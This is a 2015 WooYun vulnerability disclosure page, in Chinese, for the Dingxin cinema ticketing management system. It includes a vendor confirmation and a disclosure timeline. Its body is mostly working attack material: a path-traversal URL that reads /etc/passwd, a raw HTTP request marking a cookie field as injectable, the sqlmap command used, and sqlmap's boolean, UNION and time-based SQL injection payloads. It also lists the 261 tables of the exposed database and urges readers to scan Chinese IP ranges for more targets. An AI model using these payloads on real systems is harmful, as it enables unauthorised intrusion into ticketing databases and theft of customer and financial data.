当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0129206

漏洞标题：鼎新影院计算机售票管理系统多个漏洞可影响全国票务

相关厂商：yinghezhong.com

漏洞作者： 路人甲

提交时间：2015-07-29 17:48

修复时间：2015-10-29 20:34

公开时间：2015-10-29 20:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-29： 细节已通知厂商并且等待厂商处理中
2015-07-31： 厂商已经确认，细节仅向厂商公开
2015-08-03： 细节向第三方安全合作伙伴开放
2015-09-24： 细节向核心白帽子及相关领域专家公开
2015-10-04： 细节向普通白帽子公开
2015-10-14： 细节向实习白帽子公开
2015-10-29： 细节向公众公开

简要描述：

某售票管理系统多个漏洞可影响全国票务

详细说明：

经常去看电影的人会看到，几乎所有影院都在使用“鼎新影院计算机售票管理系统”售票，这是一个全国院线全都采用的售票系统，危害非常大。

QQ截图20150730010140.png


百度搜索：鼎新影院计算机售票管理系统。查询到某个影院的系统暴露在互联网。

1.png


先来个本地文件读取。

http://yinghezhong.com/?m=../../../../../../../../../../etc/passwd%00


2.png


再来一个注入。

GET /?m=login HTTP/1.1
Host: yinghezhong.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: TSID=qvgovg6jjlkl5a5d3fkj1d2qm4;code=test*
Connection: keep-alive
cookie中code为注入参数。
sqlmap执行：
sqlmap -r http.txt -dbms=mysql --level 4 --dbs


3.png


再贴上超大的数据库表。

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: TSID=qvgovg6jjlkl5a5d3fkj1d2qm4;code=-4886' OR (3879=3879)#
    Type: UNION query
    Title: MySQL UNION query (NULL) - 23 columns
    Payload: TSID=qvgovg6jjlkl5a5d3fkj1d2qm4;code=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786b6271,0x7a695771475a50664a6b,0x71626a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query - comment)
    Payload: TSID=qvgovg6jjlkl5a5d3fkj1d2qm4;code=test' AND 4973=BENCHMARK(5000000,MD5(0x76747570))#
---
back-end DBMS: MySQL >= 5.0.0
Database: cine
[261 tables]
+----------------------------------------+
| card_activity                          |
| card_dormancy_wake                     |
| card_freeze_log                        |
| card_modify_reason                     |
| card_quan_log                          |
| card_quan_order                        |
| card_quan_strategy                     |
| card_retail_activity_rule              |
| card_ticket_activity_rule              |
| cinema_api_info                        |
| cinema_audio_type                      |
| cinema_bank_info                       |
| cinema_book_log                        |
| cinema_business_date_report            |
| cinema_business_extension              |
| cinema_butie_log                       |
| cinema_cancellation_log                |
| cinema_card_active                     |
| cinema_card_back                       |
| cinema_card_book                       |
| cinema_card_cancel                     |
| cinema_card_change                     |
| cinema_card_consume                    |
| cinema_card_consume_area               |
| cinema_card_discount                   |
| cinema_card_history_consume            |
| cinema_card_history_recharge           |
| cinema_card_info                       |
| cinema_card_jifen                      |
| cinema_card_level                      |
| cinema_card_lose                       |
| cinema_card_preferences                |
| cinema_card_recharge                   |
| cinema_card_relation                   |
| cinema_card_returned_money             |
| cinema_card_serialnum_modify_log       |
| cinema_card_set                        |
| cinema_card_transfer                   |
| cinema_card_upgrade                    |
| cinema_card_upgrade_log                |
| cinema_cash_config                     |
| cinema_cash_ticket                     |
| cinema_changqu_info                    |
| cinema_common_info                     |
| cinema_common_set                      |
| cinema_department                      |
| cinema_employee_number                 |
| cinema_exchange_info                   |
| cinema_exchange_relation               |
| cinema_financial_bd_report             |
| cinema_func_modify_log                 |
| cinema_gatedeal_info                   |
| cinema_gift                            |
| cinema_gift_exchange                   |
| cinema_gift_type                       |
| cinema_group_set                       |
| cinema_hall_info                       |
| cinema_hall_type                       |
| cinema_info                            |
| cinema_jifen_strategy                  |
| cinema_jifen_strategy_detail           |
| cinema_jifen_ticket_strategy           |
| cinema_lcd_set                         |
| cinema_lianchang_sell_log              |
| cinema_lock_log                        |
| cinema_lockscreen_log                  |
| cinema_lowest_price                    |
| cinema_material                        |
| cinema_module_info                     |
| cinema_module_mapinfo                  |
| cinema_movie_cate                      |
| cinema_movie_info                      |
| cinema_movie_lang_type                 |
| cinema_movie_level_info                |
| cinema_movie_publisher                 |
| cinema_movie_show                      |
| cinema_movie_show_audit                |
| cinema_movie_show_through              |
| cinema_movie_subtitle                  |
| cinema_movie_type                      |
| cinema_movieplan_log                   |
| cinema_notes                           |
| cinema_old_card_history                |
| cinema_old_card_map                    |
| cinema_old_report                      |
| cinema_once_authorize_log              |
| cinema_pay_detail                      |
| cinema_pay_detail_vertical             |
| cinema_pay_type                        |
| cinema_post_info                       |
| cinema_posts_take                      |
| cinema_posts_take_info                 |
| cinema_posts_take_paper                |
| cinema_preferential_policy             |
| cinema_price_policy                    |
| cinema_price_policy_cate               |
| cinema_price_policy_map                |
| cinema_pricepolicy_bind_card           |
| cinema_projector_brand_type            |
| cinema_projector_device_type           |
| cinema_projector_invest_type           |
| cinema_promote_show                    |
| cinema_promote_tpl                     |
| cinema_property_report                 |
| cinema_public_holidays                 |
| cinema_pump_money                      |
| cinema_quan_barcode_info               |
| cinema_quan_barcode_order              |
| cinema_quan_barcode_order_segment_info |
| cinema_quan_info                       |
| cinema_quan_platform_refund            |
| cinema_quan_retail_relation            |
| cinema_quan_returned                   |
| cinema_quan_ticket_relation            |
| cinema_quan_uselog                     |
| cinema_ratio_config                    |
| cinema_receipt_uselog                  |
| cinema_refund_card_type                |
| cinema_refund_log                      |
| cinema_refund_order                    |
| cinema_refund_order_detail             |
| cinema_refund_retail                   |
| cinema_refund_type                     |
| cinema_repeat_print_ticket             |
| cinema_reserve_manage                  |
| cinema_role_relation_map               |
| cinema_seat                            |
| cinema_sell_activity_log               |
| cinema_sell_add                        |
| cinema_sell_add_detail                 |
| cinema_sell_from                       |
| cinema_sell_log                        |
| cinema_sell_ratio_map                  |
| cinema_service_charge                  |
| cinema_service_charge_log              |
| cinema_set                             |
| cinema_settlement                      |
| cinema_shift_goods                     |
| cinema_show_channel                    |
| cinema_show_policy_map                 |
| cinema_show_seat_status                |
| cinema_show_seat_status_log            |
| cinema_sms_member_condition            |
| cinema_sms_task                        |
| cinema_sms_task_log                    |
| cinema_sms_task_tpl                    |
| cinema_station_template_ticket         |
| cinema_status                          |
| cinema_subsidy                         |
| cinema_system_monitor_log              |
| cinema_system_notice                   |
| cinema_ticket_statistic_report         |
| cinema_ticket_type                     |
| cinema_ticketreport                    |
| cinema_ticketreport_target_type        |
| cinema_ticketreport_type               |
| cinema_transaction                     |
| cinema_transaction_content             |
| cinema_transaction_to_business_map     |
| cinema_unlock_log                      |
| cinema_use_ticketpaper_records         |
| cinema_user_active                     |
| cinema_user_info                       |
| cinema_user_role                       |
| cinema_user_selltime_log               |
| cinema_user_set                        |
| cinema_version                         |
| cinema_vip_card                        |
| cinema_webbuy_set                      |
| cinema_work_station                    |
| cinema_work_station_group              |
| cinema_work_station_printer            |
| cinema_yushouquan_book                 |
| cinema_yushouquan_flow                 |
| cinema_yushouquan_info                 |
| cinema_yushouquan_info_ex              |
| cinema_yushouquan_log                  |
| cinema_yushouquan_policy               |
| cinema_zzplatform_rows_report          |
| cinema_zzplatform_transaction          |
| client_report_condition_set            |
| client_report_usage_exception          |
| client_report_usage_log                |
| client_reports_info                    |
| client_version                         |
| movie_publisher                        |
| nc_financial_report                    |
| nc_merchant                            |
| nc_merchant_relation_map               |
| retail_activity_info                   |
| retail_activity_rule                   |
| retail_autosell_goods                  |
| retail_basic_unit_setting              |
| retail_brands                          |
| retail_cate_discount                   |
| retail_categories_son                  |
| retail_categories_treepaths            |
| retail_category_shelf_relation         |
| retail_exchange_info                   |
| retail_fine_cash                       |
| retail_fine_glasses                    |
| retail_fine_goods                      |
| retail_fine_goods_info                 |
| retail_goods_categories                |
| retail_goods_damage                    |
| retail_goods_dispatch                  |
| retail_goods_material                  |
| retail_goods_returns                   |
| retail_goods_settlement                |
| retail_goods_storage                   |
| retail_goods_storage_list              |
| retail_inventory_info                  |
| retail_inventory_temp                  |
| retail_kesu_goods                      |
| retail_kesu_package                    |
| retail_kesu_settlement                 |
| retail_mcard_policy                    |
| retail_mwac                            |
| retail_officesupplies_uselog           |
| retail_package_info                    |
| retail_purchase_agreement              |
| retail_purchase_agreement_goods        |
| retail_purchase_order                  |
| retail_purchase_order_goods            |
| retail_sell_goods_formula              |
| retail_sell_goods_info                 |
| retail_sell_log                        |
| retail_sell_package_info               |
| retail_sell_settlement                 |
| retail_shelf_setting                   |
| retail_single_discount                 |
| retail_single_goods                    |
| retail_storage_batch                   |
| retail_storage_log                     |
| retail_supplier_setting                |
| retail_transfer_batch                  |
| retail_user_shelf                      |
| retail_user_store                      |
| retail_wac                             |
| retail_warehouse_setting               |
| schedule_applicant_info                |
| schedule_liuban_info                   |
| schedule_plan_detail                   |
| schedule_plan_info                     |
| schedule_store_info                    |
| schedule_workhours_estimate            |
| schedule_workhours_standard            |
| sell_commission_set                    |
| sessions                               |
| system_const_val_map                   |
| system_runtime_variables               |
| system_task                            |
| system_trans_failed                    |
| system_trans_rollback                  |
| system_update_info                     |
| system_variable_val_map                |
| ticket_retail_associate_log            |
| unique_flags                           |
| universal_request_records              |
| voice_call_records                     |
| web_partner_key                        |
+----------------------------------------+


再补充2个在google和baidu能搜索到的，暴露在互联网的案例。

1.png


2.png


3.png

4.png


互联网暴露的就只能提供这么多了，想找更多请自己跑cn段去慢慢找

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-07-31 20:32

厂商回复：

对于您提出的问题我们已通知业务人员启动排查，感谢您的关注和支持

最新状态：

暂无